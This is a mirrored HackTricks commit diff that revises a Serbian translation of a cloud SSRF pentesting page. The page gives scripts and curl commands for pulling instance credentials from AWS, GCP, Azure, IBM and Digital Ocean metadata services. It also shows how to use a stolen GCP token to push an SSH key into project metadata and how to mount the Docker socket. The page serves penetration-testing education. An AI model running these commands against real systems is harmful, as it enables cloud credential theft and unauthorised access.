mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.
This commit is contained in:
parent
6a7ab29e1a
commit
136442e524
1 changed files with 20 additions and 20 deletions
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ Postoje **2 verzije** metapodataka. **Prva** verzija omogućava pristup metapoda
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor na PUT zahtev** će imati **limit preusmeravanja od 1**, što onemogućava pristup metapodacima EC2 iz kontejnera unutar same EC2 instance.
|
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor na PUT zahtev** će imati **limit preusmeravanja od 1**, što onemogućava pristup metapodacima EC2 iz kontejnera unutar same EC2 instance.
|
||||||
|
|
||||||
Osim toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju zaglavlje `X-Forwarded-For`**. Ovo je kako bi se sprečilo da loše konfigurisani obrnuti proxy serveri mogu pristupiti tome.
|
Osim toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju zaglavlje `X-Forwarded-For`**. Ovo je kako bi se sprečilo da netačno konfigurisani obrnuti proxy serveri mogu pristupiti tome.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Možete pronaći informacije o [metapodacima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu se dobijaju neke zanimljive informacije iz njih:
|
Možete pronaći informacije o [metapodacima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu se dobijaju neke zanimljive informacije iz njih:
|
||||||
|
@ -96,13 +96,13 @@ echo ""
|
||||||
echo "EC2 Security Credentials"
|
echo "EC2 Security Credentials"
|
||||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||||
```
|
```
|
||||||
Kao primer **javno dostupnih IAM kredencijala** koji su izloženi, možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
Kao primer izloženih **javno dostupnih IAM akreditiva** možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||||
|
|
||||||
Takođe možete proveriti javne **EC2 bezbednosne kredencijale** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
Takođe možete proveriti javne **EC2 sigurnosne akreditive** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||||
|
|
||||||
Zatim možete **koristiti te kredencijale sa AWS CLI**. To će vam omogućiti da radite **sve što ta uloga ima dozvole** da radi.
|
Zatim možete **koristiti te akreditive sa AWS CLI**. To će vam omogućiti da radite **sve što taj uloga ima dozvolu da radi**.
|
||||||
|
|
||||||
Da biste iskoristili nove kredencijale, moraćete da napravite novi AWS profil kao ovaj:
|
Da biste iskoristili nove akreditive, moraćete da kreirate novi AWS profil kao ovaj:
|
||||||
```
|
```
|
||||||
[profilename]
|
[profilename]
|
||||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||||
|
@ -115,7 +115,7 @@ Primetite **aws\_session\_token**, to je neophodno da profil funkcioniše.
|
||||||
|
|
||||||
### SSRF u AWS ECS (Container Service) pristupnim podacima
|
### SSRF u AWS ECS (Container Service) pristupnim podacima
|
||||||
|
|
||||||
**ECS**, je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate svoju infrastrukturu za upravljanje klasterima jer ECS to upravlja umesto vas. Ako uspete da kompromitujete servis koji se izvršava u **ECS**, **metadata endpointi se menjaju**.
|
**ECS**, je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate svoju sopstvenu infrastrukturu za upravljanje klasterima jer ECS to upravlja umesto vas. Ako uspete da kompromitujete servis koji se izvršava u **ECS**, **metadata endpointi se menjaju**.
|
||||||
|
|
||||||
Ako pristupite _**http://169.254.170.2/v2/credentials/\<GUID>**_ pronaći ćete pristupne podatke ECS mašine. Ali prvo morate **pronaći \<GUID>**. Da biste pronašli \<GUID> morate pročitati **environ** promenljivu **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** unutar mašine.\
|
Ako pristupite _**http://169.254.170.2/v2/credentials/\<GUID>**_ pronaći ćete pristupne podatke ECS mašine. Ali prvo morate **pronaći \<GUID>**. Da biste pronašli \<GUID> morate pročitati **environ** promenljivu **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** unutar mašine.\
|
||||||
Možda ćete moći da je pročitate eksploatišući **Path Traversal** do `file:///proc/self/environ`\
|
Možda ćete moći da je pročitate eksploatišući **Path Traversal** do `file:///proc/self/environ`\
|
||||||
|
@ -137,10 +137,10 @@ U ovom slučaju, **poverljivi podaci se čuvaju u env promenljivama**. Dakle, da
|
||||||
* `AWS_SECRET_ACCESS_KEY`
|
* `AWS_SECRET_ACCESS_KEY`
|
||||||
* `AWS_ACCES_KEY_ID`
|
* `AWS_ACCES_KEY_ID`
|
||||||
|
|
||||||
Pored IAM podataka, Lambda funkcije takođe imaju **podatke događaja koji se prosleđuju funkciji prilikom pokretanja**. Ovi podaci su dostupni funkciji putem [interfejsa za izvršavanje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **poverljive informacije** (kao unutar **stageVariables**). Za razliku od IAM podataka, ovi podaci su dostupni putem standardnog SSRF-a na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
Pored IAM akreditiva, Lambda funkcije takođe imaju **podatke događaja koji se prosleđuju funkciji prilikom pokretanja**. Ovi podaci su dostupni funkciji putem [interfejsa za izvršavanje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **poverljive informacije** (kao unutar **stageVariables**). Za razliku od IAM akreditiva, ovi podaci su dostupni putem standardnog SSRF-a na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Imajte na umu da su **Lambda poverljivi podaci** unutar **env promenljivih**. Dakle, ako **stek trag** koda lambda funkcije štampa env promenljive, moguće je **izvući ih izazivajući grešku** u aplikaciji.
|
Imajte na umu da su **akreditivi lambda funkcija** unutar **env promenljivih**. Dakle, ako **stek trag** koda lambda funkcije štampa env promenljive, moguće je **izvući ih izazivajući grešku** u aplikaciji.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### SSRF URL za AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
### SSRF URL za AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
||||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Da biste **koristili ukradeni token servisnog naloga**, jednostavno uradite:
|
Da biste **koristili ukradeni token servisnog naloga**, jednostavno uradite sledeće:
|
||||||
```bash
|
```bash
|
||||||
# Via env vars
|
# Via env vars
|
||||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||||
|
@ -285,7 +285,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
|
||||||
"access_type": "offline"
|
"access_type": "offline"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Sada gurnite SSH ključ.
|
Sada pritisnite SSH ključ.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -296,9 +296,9 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## Cloud funkcije <a href="#id-9f1f" id="id-9f1f"></a>
|
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||||
|
|
||||||
Metadata endpoint funkcioniše isto kao i kod virtuelnih mašina, ali bez nekih endpointa:
|
Metadata endpoint radi na isti način kao i kod VM-ova, ali bez nekih endpointa:
|
||||||
```bash
|
```bash
|
||||||
# /project
|
# /project
|
||||||
# Project name and number
|
# Project name and number
|
||||||
|
@ -326,7 +326,7 @@ done
|
||||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Nema stvari poput AWS uloga ili GCP servisnog naloga, stoga nemojte očekivati da pronađete metapodatke bot kredencijala
|
Nema stvari poput AWS uloga ili GCP servisnog naloga, stoga nemojte očekivati da ćete pronaći metapodatke bot kredencijala
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dokumentacija dostupna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
Dokumentacija dostupna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||||
|
@ -343,7 +343,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne skenove pretnji, pronalazi probleme širom vašeg celokupnog tehnološkog skupa, od API-ja do veb aplikacija i sistemima u oblaku. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
|
Pronađite ranjivosti koje su najvažnije kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne skenove pretnji, pronalazi probleme širom vašeg celokupnog tehnološkog skupa, od API-ja do veb aplikacija i sistemima u oblaku. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -477,7 +477,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
||||||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Imajte na umu da u IBM-u podrazumevano nije omogućen metapodaci, tako da je moguće da im nećete moći pristupiti čak i ako ste unutar IBM-ovog cloud VM-a.
|
Imajte na umu da u IBM-u podrazumevano nije omogućen metapodaci, tako da je moguće da im nećete moći pristupiti čak i ako ste unutar IBM-ovog VM oblaka.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -506,7 +506,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Dokumentacija za različite platforme metadata servisa je detaljno opisana u nastavku, ističući metode putem kojih se može pristupiti konfiguracionim i informacijama o izvršavanju instanci. Svaka platforma nudi jedinstvene endpointe za pristup svojim metadata servisima.
|
Dokumentacija za različite platforme metadata servisa je detaljno opisana u nastavku, ističući metode putem kojih se može pristupiti konfiguraciji i informacijama o instancama. Svaka platforma nudi jedinstvene endpointe za pristup svojim metadata servisima.
|
||||||
|
|
||||||
## Packetcloud
|
## Packetcloud
|
||||||
|
|
||||||
|
@ -550,7 +550,7 @@ Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pris
|
||||||
|
|
||||||
## Docker
|
## Docker
|
||||||
|
|
||||||
Docker metapodaci mogu se pristupiti lokalno, sa primerima za povlačenje informacija o kontejnerima i slikama:
|
Docker metapodaci mogu se pristupiti lokalno, sa primerima za dobijanje informacija o kontejnerima i slikama:
|
||||||
|
|
||||||
* Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socketa:
|
* Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socketa:
|
||||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||||
|
@ -576,10 +576,10 @@ Pronađite ranjivosti koje su najvažnije kako biste ih brže popravili. Intrude
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue